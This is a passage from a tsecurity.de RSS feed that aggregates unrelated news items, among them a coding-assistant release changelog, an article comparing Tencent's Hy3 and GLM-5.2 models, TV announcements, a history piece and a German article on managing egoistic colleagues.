<title><![CDATA[RTL überrascht mit XXL-Ankündigung: Auch &quot;Let&#039;s Dance&quot; bekommt 2027 die längste Staffel aller Zeiten]]></title>
<description><![CDATA[Nach dem Dschungelcamp legt RTL nach: Auch "Let's Dance" wird so umfangreich wie nie zuvor. Der Sender verlängert gleich zwei seiner größten Erfolgsformate.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Show,																	TV-Serie / Webse...]]></description>
<link>https://tsecurity.de/de/3652412/it-nachrichten/rtl-ueberrascht-mit-xxl-ankuendigung-auch-quotlet039s-dancequot-bekommt-2027-die-laengste-staffel-aller-zeiten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652412/it-nachrichten/rtl-ueberrascht-mit-xxl-ankuendigung-auch-quotlet039s-dancequot-bekommt-2027-die-laengste-staffel-aller-zeiten/</guid>
<pubDate>Tue, 07 Jul 2026 20:03:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nach dem Dschungelcamp legt RTL nach: Auch "Let's Dance" wird so umfangreich wie nie zuvor. Der Sender verlängert gleich zwei seiner größten Erfolgsformate.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/tv-show/">TV-Show</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.202]]></title>
<description><![CDATA[What's changed

Added a "Dynamic workflow size" setting in /config for controlling how large Claude generally makes dynamic workflows (small/medium/large agent counts) — an advisory guideline, not an enforced cap
Added workflow.run_id and workflow.name OpenTelemetry attributes to telemetry emitte...]]></description>
<link>https://tsecurity.de/de/3650062/downloads/v21202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650062/downloads/v21202/</guid>
<pubDate>Tue, 07 Jul 2026 01:02:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added a "Dynamic workflow size" setting in <code>/config</code> for controlling how large Claude generally makes dynamic workflows (small/medium/large agent counts) — an advisory guideline, not an enforced cap</li>
<li>Added <code>workflow.run_id</code> and <code>workflow.name</code> OpenTelemetry attributes to telemetry emitted by workflow-spawned agents, so a workflow run's activity can be reconstructed from OTel data</li>
<li>Fixed a crash in the inline Ctrl+R history search when accepting or cancelling while the search was still scanning the history file</li>
<li>Fixed <code>/rename</code> on background sessions being reverted when the job restarts, which broke addressing the session by its new name</li>
<li>Fixed transient mTLS handshake failures when settings were re-applied during an in-place client certificate rotation</li>
<li>Fixed commands sent from Remote Control (mobile/web) into an interactive session failing with "Unknown command"</li>
<li>Fixed images and files sent from the Remote Control mobile or web app without a caption being silently dropped</li>
<li>Fixed the sign-in URL printed by <code>claude auth login</code> and <code>claude mcp login --no-browser</code> not being reliably clickable when it wraps over SSH — it is now emitted as a single hyperlink</li>
<li>Fixed opening a chat from <code>claude agents</code> sometimes failing with "currently running as a background agent" followed by a worker crash/respawn loop</li>
<li>Fixed workflow scripts with unicode quote escapes in strings being corrupted before parsing; workflow parse errors now show the offending line instead of always blaming TypeScript</li>
<li>Fixed voice dictation retrying in an unbounded loop when the microphone or audio recorder fails — repeated capture failures now pause voice input</li>
<li>Fixed <code>/remote-control</code> sessions showing the wrong permission mode in the mobile and web apps</li>
<li>Fixed resuming a session by name, or opening the resume picker, taking minutes and using a large amount of memory in repositories with many git worktrees</li>
<li>Fixed installer and updater downloads failing immediately with "aborted" when a proxy or network drops the connection mid-download — transient connection drops now retry</li>
<li>Fixed re-invoking an already-loaded skill appending a duplicate copy of its instructions to context</li>
<li>Improved <code>/workflows</code> agent list layout: wider titles, a dedicated time column, shorter model names, and no per-row tool-call counts</li>
<li>Improved MCP error messages: clearer error when a server config has <code>url</code> but no <code>type</code>, suggesting <code>"type": "http"</code> instead of the misleading "command: expected string"</li>
<li>Changed <code>/review &lt;pr&gt;</code> back to a fast single-pass review; use <code>/code-review &lt;level&gt; &lt;pr#&gt;</code> for the multi-agent review at a chosen effort level</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tencent's Apache-licensed Hy3 takes on GLM-5.2 at half the size — and wins everywhere except coding]]></title>
<description><![CDATA[For the past year, the awkward secret of the open-weight model boom has been that many of the strongest Chinese releases were off-limits to a large slice of the enterprises most interested in them. License terms that excluded the European Union, the United Kingdom and South Korea meant legal team...]]></description>
<link>https://tsecurity.de/de/3649448/it-nachrichten/tencents-apache-licensed-hy3-takes-on-glm-52-at-half-the-size-and-wins-everywhere-except-coding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649448/it-nachrichten/tencents-apache-licensed-hy3-takes-on-glm-52-at-half-the-size-and-wins-everywhere-except-coding/</guid>
<pubDate>Mon, 06 Jul 2026 19:04:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>For the past year, the awkward secret of the open-weight model boom has been that many of the strongest Chinese releases were off-limits to a large slice of the enterprises most interested in them. License terms that excluded the European Union, the United Kingdom and South Korea meant legal teams killed deployments before engineering teams finished their evals — not just for companies headquartered there, but for any enterprise serving traffic into those regions. For IT teams weighing open models, the trade-offs are unusually explicit.</p><p>Tencent just removed that obstacle. The company's Hunyuan team released the full version of <a href="https://huggingface.co/tencent/Hy3"><b>Hy3</b></a>, a 295-billion-parameter Mixture-of-Experts (MoE) model with 21 billion active parameters, and — in a reversal from April's preview release — shipped it under the permissive <b>Apache 2.0</b> license. The reaction from the open-model community was immediate, with researchers on X singling out the license change as the real headline, and one widely shared post arguing that if the scores hold up, Tencent has just become one of the leaders of open source. Tencent says it will be <a href="https://x.com/TencentHunyuan/status/2074148098876768478?s=20">free on OpenRouter for two weeks</a>. </p><p>The scores are worth scrutinizing — and they don't all point the same direction. But the more interesting story is what Tencent chose to lead with: reliability metrics and deployment economics aimed squarely at production use. </p><h2>From preview to product in ten weeks, shaped by 50 internal teams</h2><p>Hy3's April preview was the first model of Tencent's rebuilt pre-training and reinforcement learning infrastructure, shipped less than three months after the February rebuild. Chief AI Scientist Shunyu Yao framed the early open release as a deliberate move to gather feedback from developers and users before the official version — and Tencent says that's exactly what happened. According to the <a href="https://huggingface.co/tencent/Hy3">model card</a>, the team collected feedback from more than 50 product teams after the late-April preview, fixed issues in task execution and interaction, and scaled up its post-training pipeline.</p><p>The architecture is unchanged: 295B total parameters, 21B active per forward pass via top-8 routing across 192 experts, a 3.8B-parameter multi-token prediction (MTP) layer for speculative decoding, and a 256K context window. What changed is behavior. Tencent's positioning is that the full release significantly outperforms similar-size models and rivals flagship open-source models with two to five times the parameters.</p><p>That "two to five times" framing makes sense for where this model is aimed — and it invites a direct comparison with the current open-weight coding leader, GLM-5.2.</p><h2>Tencent's blind test favors Hy3 over GLM-5.1, but GLM-5.2 still owns coding</h2><p>Tencent's headline evaluation is a blind human study rather than a leaderboard. Arguing that public benchmarks don't tell the full story, the company ran a blind test with 270 experts across disciplines working on real-world workflows, collecting 312 valid comparisons, in which Tencent reports that Hy3 scored 2.67 out of 4 against GLM-5.1's 2.51 — with the clearest advantages in frontend development, CI/CD, and data and storage work.</p><p>The choice of opponent matters. Zhipu AI released <a href="https://z.ai/"><b>GLM-5.2</b></a> in mid-June, and Tencent's own benchmark appendix shows GLM-5.2 ahead of Hy3 across essentially the entire agentic coding suite: SWE-bench Verified (84.2 vs. 78.0), SWE-bench Multilingual (83.0 vs. 75.8), Terminal-Bench 2.1 (81 vs. 71.7) and DeepSWE by a wide margin (46.2 vs. 28.0). The blind test targeted the older model; the newer one keeps the coding crown.</p><p>GLM-5.2's coding lead is less surprising once you consider the sizes are side by side: GLM-5.2 is roughly a 744-billion-parameter MoE with around 40 billion active parameters per token, against Hy3's 295 billion total and 21 billion active. Tencent is fielding a model with less than half the parameters — and nearly half the per-token compute — of the one it trails.</p><p>Hy3's genuine wins sit elsewhere. On agentic search, it posts 84.2 on BrowseComp and 91.0 on DeepSearchQA — ahead of every open model in Tencent's table and competitive with Claude Opus 4.8 and GPT-5.5. It leads the open field on tool orchestration (79.1 on the public MCP-Atlas set), on agent-harness evaluations like ClawEval, and on long-context retrieval (73.4 on AA-LCR). Read together, the appendix suggests a model that is arguably the best open-weight choice for search-and-tool-heavy agent workloads, while conceding repository-scale coding to GLM-5.2.</p><p>One caveat applies to both the wins and the losses: nearly all competitor numbers in Tencent's appendix are marked as coming from Tencent's own test runs. Independent verification, from indices like Artificial Analysis, is still pending as of publication.</p><h2>The reliability pitch: hallucination rates cut in half</h2><p>Where the release gets most interesting for enterprise buyers is the set of numbers Tencent chose to emphasize instead of benchmarks. The model card reads less like a leaderboard announcement and more like a production reliability report.</p><p>In internal evaluations on real-world scenarios, Tencent says Hy3's hallucination rate dropped compared to the preview version from 12.5% to 5.4%, and commonsense error rates fell from 25.4% to 12.7% — improvements it attributes to fine-grained data cleaning and training constraints built around an explicit behavior pattern: answer when grounded, state when evidence is missing, don't conflate sources, don't fabricate data. Multi-turn behavior gets the same treatment: the issue rate on internal multi-turn tests fell from 17.4% to 7.9%, and Tencent reported that the model's score on the open MRCR long-dialogue benchmark jumped from 42.9% to 75.1%.</p><p>Tencent also emphasizes consistency across agent scaffolds — reporting SWE-bench variance within a few points whether the model runs inside Claude Code-style harnesses, Cline or KiloCode. That's an underrated property: enterprises rarely control which agent framework their teams standardize on, and a model that only performs in one harness is a hidden integration cost. These are self-reported internal measurements, and they deserve the same skepticism as any vendor benchmark. But the choice to foreground them at all signals who Tencent believes its customer is: teams that have been burned by models that demo well and fabricate confidently in production.</p><h2>The deployment math: a 295B model in a 744B world — on export-compliant silicon</h2><p>The reliability story connects directly to the economics, and this is where Hy3's coding gap against GLM-5.2 starts to look like a deliberate trade rather than a loss.</p><p>GLM-5.2 is a roughly 744-billion-parameter MoE with about 40 billion active parameters per token; in FP8, its weights alone consume roughly 744GB, making an 8x H200 node the practical minimum for production serving. Hy3, at 295B total parameters, carries an FP8 footprint of under 300GB — less than half the memory, with roughly half the active parameters per token driving lower per-request compute. For an organization deciding what to self-host, that's the difference between one heavily-specced node and something far more attainable, with room left over for KV cache and batching.</p><p>There's a geopolitical wrinkle in the deployment guide worth noticing too: Tencent's recommended serving configuration targets Nvidia’s <b>H20-3e</b> — the memory-boosted variant of the H20, the GPU Nvidia designed specifically to comply with U.S. export restrictions on China. Unlike GLM-5.2, there is no mention of Huawei or Ascend chips here. In other words, the model is sized so that eight of the chips Chinese companies can legally buy comfortably serve it at full precision. That constraint-driven design has a convenient side effect for everyone else: a model that runs well on deliberately capped silicon runs even more comfortably on the H100s, H200s and B200s available in Western data centers, through standard <a href="https://github.com/Tencent-Hunyuan/Hy3-preview">vLLM and SGLang</a> deployments with MTP speculative decoding.</p><p>Add the Apache 2.0 license — no regional exclusions, no field-of-use restrictions — and the enterprise equation becomes clear. GLM-5.2 remains the open-weight choice when coding performance is the only criterion and an 8x H200 budget is available. Hy3 makes its case everywhere else: search and tool-heavy agent workloads, reliability-sensitive applications and organizations that want frontier-adjacent capability without frontier-scale infrastructure. The open question is whether Western enterprises, now that the license barrier is gone, will treat a Tencent model as a serious candidate at all — or whether the next Artificial Analysis update settles the benchmark debate before procurement gets the chance.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[„House of the Dragon“ Staffel 3 ist da: Start von Folge 4 auf HBO Max und WOW]]></title>
<description><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. Wann ihr die neue Folge seht, verraten wir euch hier.]]></description>
<link>https://tsecurity.de/de/3648191/it-nachrichten/house-of-the-dragon-staffel-3-ist-da-start-von-folge-4-auf-hbo-max-und-wow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648191/it-nachrichten/house-of-the-dragon-staffel-3-ist-da-start-von-folge-4-auf-hbo-max-und-wow/</guid>
<pubDate>Mon, 06 Jul 2026 10:33:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. Wann ihr die neue Folge seht, verraten wir euch hier.]]></content:encoded>
</item>
<item>
<title><![CDATA[80 Years Since Kielce pogrom: When Poland Killed Holocaust Survivors]]></title>
<description><![CDATA[The history is tied to a child’s lie about being held in a basement. His father went to the police and they immediately rushed to start killing Jews, including Holocaust survivors. …instead of protecting the people inside the house, militia members and soldiers shot at the Jews inside and dragged...]]></description>
<link>https://tsecurity.de/de/3646208/it-security-nachrichten/80-years-since-kielce-pogrom-when-poland-killed-holocaust-survivors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646208/it-security-nachrichten/80-years-since-kielce-pogrom-when-poland-killed-holocaust-survivors/</guid>
<pubDate>Sun, 05 Jul 2026 06:52:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The history is tied to a child’s lie about being held in a basement. His father went to the police and they immediately rushed to start killing Jews, including Holocaust survivors. …instead of protecting the people inside the house, militia members and soldiers shot at the Jews inside and dragged others out to where the … <a href="https://www.flyingpenguin.com/80-years-since-kielce-pogrom-when-poland-killed-holocaust-survivors/" class="more-link">Continue reading <span class="screen-reader-text">80 Years Since Kielce pogrom: When Poland Killed Holocaust Survivors</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ich-Sucht vs. Leistung: Wie Sie Egoisten ausbremsen]]></title>
<description><![CDATA[Es war zum Haareraufen: Nichts funktionierte, und obendrein behauptete der Kunde, seine Anforderungen seien nicht verstanden worden. Es ging um ein Testsystem für autonomes Fahren, bei dem sich die Implementierung der Algorithmen als bedeutend anspruchsvoller herausstellte, als zu Projektbeginn a...]]></description>
<link>https://tsecurity.de/de/3646150/it-security-nachrichten/ich-sucht-vs-leistung-wie-sie-egoisten-ausbremsen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646150/it-security-nachrichten/ich-sucht-vs-leistung-wie-sie-egoisten-ausbremsen/</guid>
<pubDate>Sun, 05 Jul 2026 05:08:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Es war zum Haareraufen: Nichts funktionierte, und obendrein behauptete der Kunde, seine Anforderungen seien nicht verstanden worden. Es ging um ein Testsystem für autonomes Fahren, bei dem sich die Implementierung der Algorithmen als bedeutend anspruchsvoller herausstellte, als zu Projektbeginn angenommen. Mittlerweile war der Kunde richtig sauer und drohte mit der Aufkündigung der Zusammenarbeit. Ein <a title="Turnaround" href="https://www.computerwoche.de/article/2783817/so-steigern-sie-die-projektmanagement-kompetenz.html" target="_blank">Turnaround</a> musste her, und zwar schnell.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Wer Egoisten im Team hat, sollte diese gekonnt und mutig ausbremsen. Wir geben Ihnen die richtige Argumentation an die Hand. " title="Wer Egoisten im Team hat, sollte diese gekonnt und mutig ausbremsen. Wir geben Ihnen die richtige Argumentation an die Hand. " src="https://images.computerwoche.de/bdb/3283128/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Wer Egoisten im Team hat, sollte diese gekonnt und mutig ausbremsen. Wir geben Ihnen die richtige Argumentation an die Hand. </p></figcaption></figure><p class="imageCredit">
					Foto: Just dance – shutterstock.com</p></div>




<p>Da auch in anderen <a href="https://www.computerwoche.de/article/2760851/so-retten-sie-gefaehrdete-it-projekte.html" title="Projekten" target="_blank">Projekten</a> die Gefahr bestand, ins Hintertreffen zu geraten, fasste sich der Engineering-Chef ein Herz und setze kurzfristig ein außerordentliches Review für alle größeren Projekte an. Doch leider hatte er die Rechnung ohne seinen Kollegen, den Projektdirektor, gemacht. Dieser fühlte sich ob des Vorpreschens brüskiert und griff kurzerhand zum allerletzten Mittel: Er drohte mit <a href="https://www.cio.de/a/aufhebungsvertrag-als-alternative-zur-kuendigung,3263184" title="Kündigung" target="_blank">Kündigung</a>, falls es bei dem Review bliebe. Die Folgen: Absage, offener Konflikt, massive Irritation bei den Projekten und der Führungsmannschaft.</p>



<p>Was unternehmerisch völlig richtig war, geriet zum Fiasko. Ja, es wäre eleganter gewesen, den Kollegen sofort mit einzubeziehen. Doch nein, es kann nicht sein, dass das Ego eines Einzelnen über das Wohl und Wehe wichtiger Projekte entscheidet. <a href="https://www.computerwoche.de/article/2743092/wenn-kollegen-gift-fuers-teamwork-sind.html" title="Gang und gäbe" target="_blank">Gang und gäbe</a> ist es dennoch und das Umfeld schreckt meist davor zurück, solche Egoisten in ihre Schranken zu verweisen. Sie scheinen entweder wohlgelitten oder von allen gefürchtet – zwei komplett entgegengesetzte Regungen mit allerdings identischen Folgen: Das unternehmerisch kontraproduktive Verhalten wird zementiert statt abgestellt.</p>



<h3 class="wp-block-heading">“Ego über alles?”</h3>



<p>Um das zu verhindern, lohnt sich der Blick auf drei typische Verhaltensmuster, die darauf hindeuten und ein Gegensteuern brauchen:</p>



<ul class="wp-block-list">
<li><p><strong>Drohen statt Unterstützen</strong>: “Ich bin wichtiger als die Sache” – das ist die eigentliche Aussage, die meist in Drohungen steckt. Damit wird das Klima sofort und nachhaltig vergiftet. Das ist ein nicht zu tolerierendes No-Go, das es sofort zu entlarven gilt. <strong>Konter</strong>: “Was willst Du mit Deiner Drohung sagen?” “Das zieht bei mir nicht” – derart aufgedeckt, fallen die meisten Drohungen in sich zusammen. In hartnäckigen Fällen braucht es Hilfe durch Eskalation. Denn das Gefährliche daran ist, dass diese Art der Einschüchterung eine Schattenhierarchie mit heimlichen Anführern erzeugt, die eine Abteilung wie ein Pilz zersetzen kann.<br></p></li>



<li><p> <strong>Abwerten statt Lösen</strong>: “So geht es auf keinen Fall!” – Wie gut, dass einer den Mut hat, es auszusprechen – oder? Komischerweise wird diese Aussage bevorzugt in großen Runden und nach eigener Beteiligung bei der Vorbereitung verwendet. Das ist destruktive Doppelzüngigkeit. <strong>Konter</strong>: “Was genau stört dich heute daran, nachdem Du letztens noch einverstanden warst? Wenn du mir die genauen Gründe nennst, können wir sie hier mit den anderen besprechen.” – Es gibt kaum ein geeigneteres Mittel, inhaltsleeres Schlechtmachen abzustellen, denn echte Argumente sind hier kaum zu erwarten.<br></p></li>



<li><p> <strong>Abgrenzen statt Anpacken</strong>: “Ich weiß, wie es geht, doch ich packe nicht mit an.” – Es ist doch viel bequemer, nur die Richtung zu weisen, sich jedoch selbst herauszuhalten, denn schließlich müsste sonst geliefert werden. Klappt die Sache, die der Großspurige propagiert, schreibt er sich den Erfolg auf die eigene Fahne. Geht sie schief, wäscht er seine Hände in Unschuld. <strong>Konter:</strong> “Du hast die Wahl: entweder du bist ganz dabei oder du hältst dich ganz heraus.” – Diese unangemessene Abgrenzung dürfen sich davon Betroffene nicht bieten lassen. Diese Antwort ist daher nicht nur legitim, sondern in einer solchen Situation notwendig.</p></li>
</ul>



<p>Es ist an der Zeit, Egoisten Einhalt zu gebieten. Das muss explizit geschehen. Das alleinige Ballen der Faust in der Hosentasche ist nutzlos. Ein guter Teil von ihnen dürfte belehrbar sein, beim anderen Teil ist die Frage nach der Zukunft zu stellen, denn “<a href="https://www.computerwoche.de/article/2764003/7-faktoren-fuer-garantiertes-scheitern.html" title="Destruction by Ego" target="_blank">Destruction by Ego</a>” ist untragbar. (hk)</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<div class="foundryDgalleryWrapper" data-foundry-gallery-id="116798"><h3>Die 5 schlimmsten Kollegen</h3><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Der Über-Versprecher" title="Der Über-Versprecher" src="https://images.computerwoche.de/bdb/2677936/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Der Über-Versprecher</p></figcaption></figure><p class="imageCredit">
					Foto: PointImages – shutterstock.com</p></div><p class="foundryImageDescription">Speziell in Situationen, in denen immenser Druck herrscht, neigen manche Mitarbeiter dazu, alle möglichen, absurden Versprechungen zu machen. Entweder um Aufmerksamkeit zu erringen oder um dem Vorgesetzten beziehungsweise dem Management zu gefallen. Versprechungen machen ist immer einfach, aber wenn das Mega-Projekt dann eben nicht in den versprochenen zweieinhalb Wochen abgeschlossen ist, ist das ungünstig. <br><br> Alexander Maasik empfiehlt: “Wenn es ein Teammitglied gibt, das am laufenden Band falsche Versprechungen gibt, von denen bereits vorher klar ist, dass sie unmöglich einzuhalten sind, sollten Sie seine Worte nicht mehr für bare Münze nehmen. Wenn Sie können, verlängern Sie den Zeitrahmen und/oder erhöhen Sie Budget oder Ressourceneinsatz, um Engpässe in anderen Bereichen kompensieren zu können.” </p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Der Verantwortungsschieber" title="Der Verantwortungsschieber" src="https://images.computerwoche.de/bdb/2677938/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Der Verantwortungsschieber</p></figcaption></figure><p class="imageCredit">
					Foto: Africa Studio – shutterstock.com</p></div><p class="foundryImageDescription">Dann gibt es diese Kollegen, die das Collaboration-Prinzip der geteilten Verantwortung auf ihre ganz eigene Weise interpretieren. Getreu dem Motto: “Die anderen werden es schon richten.” Experte Maasik rät in einem solchen Fall dazu, dem betreffenden Mitarbeiter eine definierte Rolle und spezifizierte Verantwortlichkeiten im Team zuzuweisen. Alternativ könnten Sie den Verantwortungsschieber auch fragen, ob es Bereiche gibt, die ihn besonders interessieren. Eventuell könnten Sie so seine Leistungs-Leidenschaft neu entflammen. <br><br> “Manchmal können Sie solche Leute motivieren, indem Sie ihnen Führungsverantwortung übertragen oder ihnen die Verantwortung für ein bestimmtes Gebiet/Thema übertragen, das ihnen am Herzen liegt. Sollte betreffender Kollege allerdings für ausschweifende Arbeitsunlust bekannt sein, hilft unglücklicherweise nur, ihn (oder sie) im Auge zu behalten und sich wenn nötig an höhere Instanzen zu wenden.”</p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Der Fremdfeder-Connoisseur" title="Der Fremdfeder-Connoisseur" src="https://images.computerwoche.de/bdb/2677939/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Der Fremdfeder-Connoisseur</p></figcaption></figure><p class="imageCredit">
					Foto: pathdoc – shutterstock.com</p></div><p class="foundryImageDescription">Es ist nur menschlich, nach Wertschätzung und Anerkennung zu streben. Aber einige Menschen übertreiben das in einem Ausmaß, dass sie fast schon selbst daran glauben, wenn sie sich fälschlicherweise die Erfolge anderer zuschreiben.  <br><br> Maasik: “Leider nimmt der Enthusiasmus dieser Leute rasant ab, wenn es darum geht, die Verantwortung für Misserfolge zu übernehmen. Um solchen Entwicklungen entgegenzuwirken, empfiehlt es sich, genau festzuhalten, wer für welchen Part der Projektarbeit zuständig ist. So können auch alle Beteiligten sehen, wer welchen Beitrag leistet. Sollte jemand auf das Einheimsen von Lorbeeren bestehen, stellen Sie sicher, dass derjenige auch im Fall des Misserfolgs sein Fett abbekommt.”</p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Der Makel-Magnat" title="Der Makel-Magnat" src="https://images.computerwoche.de/bdb/2677937/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Der Makel-Magnat</p></figcaption></figure><p class="imageCredit">
					Foto: Photographee.eu – shutterstock.com</p></div><p class="foundryImageDescription">Nicht führt die Team-Moral schneller und geradliniger in den Abgrund, als einer, der ständig nur kritisiert, auf Fehler “hinweist” oder sich über jeden Aspekt eines Projekts nur beschwert. Egal, ob es um Zuständigkeiten, Workloads oder die Strategie geht, der Makel-Magnat hat einfach immer was zu meckern. <br><br> “Dieses Verhalten ist absolutes Gift für das Teamwork. Diese Leute verbringen mehr Zeit damit, sich zu beschweren, als mit der Erfüllung ihrer Aufgaben. Der beste Weg solche Menschen zu handlen: 1. Ignorieren Sie das Gemecker, 2. Geben Sie ihm so viel Verantwortung, dass er (oder sie) keine Zeit mehr hat rumzujammern.”</p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Der Aussteiger" title="Der Aussteiger" src="https://images.computerwoche.de/bdb/2677940/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Der Aussteiger</p></figcaption></figure><p class="imageCredit">
					Foto: YuriyZhuravov – shutterstock.com</p></div><p class="foundryImageDescription">Manche Leute arbeiten besser alleine. Ist auch gar kein Problem. Außer es handelt sich um Personen, die in Team-Projekte eingebunden sind. Dann könnte jemand, der Anweisungen aus Prinzip ignoriert und affin für Alleingänge ist, das ganze Projekt auf’s Spiel setzen.  <br><br> Deswegen empfiehlt auch Alexander Maasik, solche Leute lieber aufs “Abstellgleis” zu befördern: “Finden Sie einen Bereich im Projekt, an dem ein solcher Mitarbeiter alleine arbeiten oder sich selbst verwirklichen kann. So holen Sie das Maximum an Produktivität aus diesem Kollegen heraus und stellen gleichzeitig sicher, dass der Rest des Teams intakt bleibt.”</p></div>

</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New DNA Tech Identifies Soldier Killed in America's Revolution in 1780]]></title>
<description><![CDATA[South Carolina's pine forests "have spent centuries hiding a secret as old as America itself," reports CBS News:



In August 1780, British and American soldiers clashed there, leading to a terrible defeat for the Continental army [fighting for the 13 colonies rebelling against England]. Battlefi...]]></description>
<link>https://tsecurity.de/de/3645902/it-security-nachrichten/new-dna-tech-identifies-soldier-killed-in-americas-revolution-in-1780/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645902/it-security-nachrichten/new-dna-tech-identifies-soldier-killed-in-americas-revolution-in-1780/</guid>
<pubDate>Sat, 04 Jul 2026 23:53:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[South Carolina's pine forests "have spent centuries hiding a secret as old as America itself," reports CBS News:



In August 1780, British and American soldiers clashed there, leading to a terrible defeat for the Continental army [fighting for the 13 colonies rebelling against England]. Battlefield archaeologists Jim Legg and Steve Smith have been studying the site for decades, but recently, they made a shocking discovery: The sandy soil was home to several sets of remains buried in shallow graves. Metal buttons suggested the men had been Continental soldiers, but there was no other identification... About 2,000 Continental soldiers were killed, wounded or captured, and some men never returned home. 

Their families could only guess at their fates. But Legg and Smith's discovery, paired with an explosion in DNA technology, is changing what's possible. A set of remains, previously known only as 9B, has been identified as John Pumphrey, a young man from Maryland who enlisted in the Continental Army's 7th Maryland Regiment as young as 13... Pumphrey likely marched more than a thousand miles with the regiment. The unit fought in battles with then-Gen. George Washington in New Jersey and Pennsylvania. 


Pumphrey likely marched more than a thousand miles with the regiment. The unit fought in battles with then-Gen. George Washington in New Jersey and Pennsylvania. In late June, members of the extended Pumphrey family came together to hear his story and say his name for the first time in centuries. His remains are interred in South Carolina, where he and the other soldiers were discovered, but the tombstone, once marked "Unknown," will soon have his name carved on it.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=New+DNA+Tech+Identifies+Soldier+Killed+in+America's+Revolution+in+1780%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F04%2F208217%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F04%2F208217%2Fnew-dna-tech-identifies-soldier-killed-in-americas-revolution-in-1780%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/04/208217/new-dna-tech-identifies-soldier-killed-in-americas-revolution-in-1780?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NVIDIA HORIZON: A Hands-Free Agent that Evolves Git Worktrees and Hits 100% RTL Benchmark Completion]]></title>
<description><![CDATA[A hands-free NVIDIA agent framework hosts each RTL problem as a versioned repository, reaching 100% completion across benchmarks.
The post NVIDIA HORIZON: A Hands-Free Agent that Evolves Git Worktrees and Hits 100% RTL Benchmark Completion appeared first on MarkTechPost.]]></description>
<link>https://tsecurity.de/de/3645601/ai-nachrichten/nvidia-horizon-a-hands-free-agent-that-evolves-git-worktrees-and-hits-100-rtl-benchmark-completion/</link>
